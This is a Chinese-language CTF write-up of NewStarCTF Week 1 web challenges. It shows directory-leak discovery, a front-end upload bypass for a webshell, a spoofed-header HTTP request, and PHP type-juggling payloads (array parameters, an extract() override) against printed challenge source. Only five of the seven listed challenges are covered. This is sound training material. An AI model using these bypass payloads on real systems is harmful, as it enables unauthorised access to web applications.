【Web】NewStarCTF Week1 个人复现

①泄露的秘密

②Begin of Upload

③Begin of HTTP

④ErrorFlask

⑤Begin of PHP

⑥R!C!E!

⑦EasyLogin

①泄露的秘密

盲猜/robots.txt,访问得到flag前半部分

第二个没试出来，老老实实拿dirsearch扫吧

访问/www.zip

下载附件，拿到第二部分

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

②Begin of Upload

随便上传一个php文件

发现有前端限制

禁一手js

继续上传

成功传马，直接rce即可，下略

③Begin of HTTP

常规的题，不多解释

POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

④ErrorFlask

看标题表述就是搞破坏让flask报错

先正常传俩数字，回显告诉我们不是ssti

传个字母试试

payload:

?number1=a&number2=1

成功报错拿到flag

⑤Begin of PHP

贴出源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

payload:

?key1[]=1&key2[]=2&key4[]=1&key5=2024.c

key3[]=1&flag5=![]